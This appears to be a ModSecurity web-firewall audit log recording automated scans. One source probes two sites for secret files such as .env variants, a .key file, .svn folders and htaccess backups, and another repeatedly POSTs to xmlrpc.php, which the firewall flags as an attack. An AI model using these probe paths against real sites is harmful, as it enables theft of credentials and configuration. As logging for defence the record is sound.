Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8zj9xCjYf3vhjKXItvyQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021007743371 925293 (- - -) Stopwatch2: 1750021007743371 925293; combined=2181, p1=386, p2=1350, p3=44, p4=66, p5=223, sr=116, sw=112, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2555c674-Z-- --b7784829-A-- [16/Jun/2025:02:27:11.275830 +0530] aE8zpjW73rwPI0SU-ijviQAAAAA 185.177.72.210 55302 127.0.0.1 7081 --b7784829-B-- GET /apiserver-aggregator.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7784829-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e4ab28a98eccd29d46fae760724d5c811750021031; expires=Sun, 15 Jun 2025 21:57:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7784829-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/apiserver-aggregator.key"] [unique_id "aE8zpjW73rwPI0SU-ijviQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021030619678 656215 (- - -) Stopwatch2: 1750021030619678 656215; combined=1735, p1=354, p2=1277, p3=0, p4=0, p5=103, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7784829-Z-- --0e0d153f-A-- [16/Jun/2025:02:27:17.407931 +0530] aE8zrDW73rwPI0SU-ijvjAAAAAA 185.177.72.210 55610 127.0.0.1 7081 --0e0d153f-B-- GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e0d153f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c4268d7229b9461b4b6ac312daa8f3f11750021037; expires=Sun, 15 Jun 2025 21:57:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e0d153f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_aut/author.dll"] [unique_id "aE8zrDW73rwPI0SU-ijvjAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021036740756 667256 (- - -) Stopwatch2: 1750021036740756 667256; combined=1962, p1=351, p2=1500, p3=0, p4=0, p5=110, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e0d153f-Z-- --0c16f538-A-- [16/Jun/2025:02:27:34.763812 +0530] aE8zvol8S04UZ4l67-nZnwAAAAk 185.177.72.210 60552 127.0.0.1 7081 --0c16f538-B-- GET /:8443/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c16f538-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=571ee348599e0c1fddb5836bd7bb31151750021054; expires=Sun, 15 Jun 2025 21:57:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c16f538-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.4"] [unique_id "aE8zvol8S04UZ4l67-nZnwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021054117555 646331 (- - -) Stopwatch2: 1750021054117555 646331; combined=1822, p1=365, p2=1388, p3=0, p4=0, p5=69, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c16f538-Z-- --bab05c5b-A-- [16/Jun/2025:02:27:40.902968 +0530] aE8zxFfWRcme38U-qk7pOwAAAAI 185.177.72.210 37756 127.0.0.1 7081 --bab05c5b-B-- GET /:8880/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bab05c5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16046220b6ecebf008eea911510835b81750021060; expires=Sun, 15 Jun 2025 21:57:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bab05c5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.4"] [unique_id "aE8zxFfWRcme38U-qk7pOwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021060198108 704935 (- - -) Stopwatch2: 1750021060198108 704935; combined=1792, p1=404, p2=1280, p3=0, p4=0, p5=107, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bab05c5b-Z-- --774c9a09-A-- [16/Jun/2025:02:27:48.895715 +0530] aE8zy4v0YhcYGG7mzIpm5gAAABU 128.199.112.101 37958 127.0.0.1 7081 --774c9a09-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --774c9a09-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --774c9a09-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8zy4v0YhcYGG7mzIpm5gAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021067947484 948287 (- - -) Stopwatch2: 1750021067947484 948287; combined=2455, p1=404, p2=1621, p3=46, p4=68, p5=195, sr=109, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --774c9a09-Z-- --27c48f7d-A-- [16/Jun/2025:02:27:52.353588 +0530] aE8zz4l8S04UZ4l67-nZpwAAAAk 185.177.72.210 53064 127.0.0.1 7081 --27c48f7d-B-- GET /:8880/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --27c48f7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9bf6966643e782fd86ca924048481d381750021072; expires=Sun, 15 Jun 2025 21:57:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --27c48f7d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/sites/all/libraries/courrierchimp/.env"] [unique_id "aE8zz4l8S04UZ4l67-nZpwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021071678001 675651 (- - -) Stopwatch2: 1750021071678001 675651; combined=1744, p1=355, p2=1285, p3=0, p4=0, p5=103, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27c48f7d-Z-- --e61e9f0d-A-- [16/Jun/2025:02:28:02.299698 +0530] aE8z2Yl8S04UZ4l67-nZqwAAAAk 185.177.72.210 55268 127.0.0.1 7081 --e61e9f0d-B-- GET /:8008/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e61e9f0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8adc31680024296146414b1d13a4ca2d1750021082; expires=Sun, 15 Jun 2025 21:58:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e61e9f0d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.3"] [unique_id "aE8z2Yl8S04UZ4l67-nZqwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021081543094 756684 (- - -) Stopwatch2: 1750021081543094 756684; combined=1670, p1=362, p2=1190, p3=0, p4=0, p5=117, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e61e9f0d-Z-- --d2c80774-A-- [16/Jun/2025:02:28:48.990696 +0530] aE80CIl8S04UZ4l67-nZvQAAAAk 128.199.112.101 42120 127.0.0.1 7081 --d2c80774-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d2c80774-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d2c80774-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE80CIl8S04UZ4l67-nZvQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021128055075 935689 (- - -) Stopwatch2: 1750021128055075 935689; combined=2148, p1=392, p2=1297, p3=43, p4=66, p5=210, sr=121, sw=140, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2c80774-Z-- --b3feb632-A-- [16/Jun/2025:02:29:20.487283 +0530] aE80KFfWRcme38U-qk7pYQAAAAI 185.177.72.210 50024 127.0.0.1 7081 --b3feb632-B-- GET /icons/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b3feb632-F-- HTTP/1.1 404 Not Found Last-Modified: Tue, 03 Sep 2024 13:22:32 GMT ETag: "328-62136f33606a0" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --b3feb632-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/icons/.env"] [unique_id "aE80KFfWRcme38U-qk7pYQAAAAI"] Stopwatch: 1750021160483725 3630 (- - -) Stopwatch2: 1750021160483725 3630; combined=1911, p1=440, p2=1412, p3=0, p4=0, p5=58, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3feb632-Z-- --87efc51b-A-- [16/Jun/2025:02:29:38.790852 +0530] aE80OiHEjD4mqWjYVm147gAAABM 185.177.72.210 34428 127.0.0.1 7081 --87efc51b-B-- GET /credentials/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87efc51b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=91682ff282c4e421ad9afd587126b6fc1750021178; expires=Sun, 15 Jun 2025 21:59:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87efc51b-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.svn/"] [unique_id "aE80OiHEjD4mqWjYVm147gAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021178095678 695249 (- - -) Stopwatch2: 1750021178095678 695249; combined=2164, p1=483, p2=1592, p3=0, p4=0, p5=88, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87efc51b-Z-- --91b16103-A-- [16/Jun/2025:02:29:49.185582 +0530] aE80RHwizUED0-SK4eRIwgAAAAE 128.199.112.101 52880 127.0.0.1 7081 --91b16103-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --91b16103-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --91b16103-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE80RHwizUED0-SK4eRIwgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021188237554 948096 (- - -) Stopwatch2: 1750021188237554 948096; combined=2309, p1=355, p2=1544, p3=43, p4=66, p5=187, sr=101, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91b16103-Z-- --c43f0b4e-A-- [16/Jun/2025:02:29:56.267252 +0530] aE80S4v0YhcYGG7mzIpnGAAAABU 185.177.72.210 48218 127.0.0.1 7081 --c43f0b4e-B-- GET /:8008/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c43f0b4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eee22a72ef93052456c2671e666197691750021196; expires=Sun, 15 Jun 2025 21:59:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c43f0b4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/src/.env"] [unique_id "aE80S4v0YhcYGG7mzIpnGAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021195596796 670529 (- - -) Stopwatch2: 1750021195596796 670529; combined=1652, p1=363, p2=1180, p3=0, p4=0, p5=108, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c43f0b4e-Z-- --6553774b-A-- [16/Jun/2025:02:30:10.328678 +0530] aE80WXwizUED0-SK4eRIzAAAAAE 185.177.72.210 38464 127.0.0.1 7081 --6553774b-B-- GET /htaccess.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6553774b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e813b9bfd2aa870235356939d262a2e81750021210; expires=Sun, 15 Jun 2025 22:00:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6553774b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/htaccess.backup"] [unique_id "aE80WXwizUED0-SK4eRIzAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021209630996 697758 (- - -) Stopwatch2: 1750021209630996 697758; combined=2264, p1=416, p2=1703, p3=0, p4=0, p5=144, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6553774b-Z-- --94ffb61f-A-- [16/Jun/2025:02:30:12.499208 +0530] aE80W3wizUED0-SK4eRIzQAAAAE 185.177.72.210 38548 127.0.0.1 7081 --94ffb61f-B-- GET /test/bdd/fixtures/universalresolver/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 